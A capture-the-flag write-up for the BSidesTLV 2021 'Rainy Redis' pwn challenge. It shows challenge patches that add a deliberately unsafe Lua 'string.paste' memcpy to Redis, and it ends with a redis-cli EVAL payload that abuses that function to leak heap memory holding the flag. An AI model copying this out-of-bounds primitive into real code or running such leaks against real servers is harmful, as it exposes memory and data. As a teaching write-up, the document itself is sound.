# Rainy Redis

• Category: Pwn
• 350 points
• Solved by JCTF Team

## Solution

This was a nice and easy challenge. Looking in the tarball we find a patch_files directory. Inside there are two patchs: p1_lua.diff and p2_scripting_init.diff. The first patch content is:

--- redis/deps/lua/src/lstrlib.c        2021-07-15 20:41:26.440551800 +0300
+++ redis/deps/lua/src/lstrlib.c        2021-07-15 20:36:18.949532600 +0300
@@ -824,6 +824,25 @@
}

+static int str_paste (lua_State *L) {
+    int nargs = lua_gettop(L);  /* number of arguments */
+    size_t l;
+    if (nargs != 4) {
+      return luaL_argerror(L, 0, "string.paste expects 4 arguments(str1, str2, len_to_paste, skip)");
+    }
+
+    const char *s1  = luaL_checklstring(L, 1, &l);
+    const char *s2  = luaL_checklstring(L, 2, &l);
+    lua_Number len  = lua_tonumber(L, 3);
+    lua_Number skip = lua_tonumber(L, 4);
+
+    s2 += (int)skip;
+    memcpy(s2, s1, (size_t)len);
+
+    return 0;
+}
+
+
static const luaL_Reg strlib[] = {
{"byte", str_byte},
{"char", str_char},
@@ -839,6 +858,7 @@
{"rep", str_rep},
{"reverse", str_reverse},
{"sub", str_sub},
+  {"paste", str_paste},
{"upper", str_upper},
{NULL, NULL}
};

So the lua implementation in this specific radis server gets a new function "paste" for "string" which look like a OOB READ/WRITE primitive. The second patch content is:

--- redis/src/scripting.c       2021-06-01 17:03:44.000000000 +0300
+++ redis/src/scripting.c       2021-07-15 20:44:10.429469700 +0300
@@ -1069,6 +1069,13 @@
s[j++]="  return rawget(t, n)\n";
s[j++]="end\n";
s[j++]="debug = nil\n";
+    /* ======== executed during lua state startup ======== */
+    s[j++]="local flag = ''\n";
+    s[j++]="for i = 1,1000,1 do\n";
+    s[j++]="    flag = flag .. 'BSidesTLV2021{demo-flag--demo-flag--demo-flag}'\n";
+    s[j++]="end\n";
+    s[j++]="flag = nil\n"; // clean secret value from Lua context. The flag cannot be available on production env!
+    /* ================================================== */
s[j++]=NULL;

for (j = 0; s[j] != NULL; j++) code = sdscatlen(code,s[j],strlen(s[j]));

So this runs on initialization of the scripting of a session it concatenates the flag many times into a variable but then it sets the variable to nil, fortunately the actual string is still in memory. To get the flag we leak memory by doing:

rainy-redis.ctf.bsidestlv.com:6379> AUTH default-pwd
OK
rainy-redis.ctf.bsidestlv.com:6379> EVAL 'local t = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; string.paste("BSidesTLV2021{", t, 4096, 0); return t' 0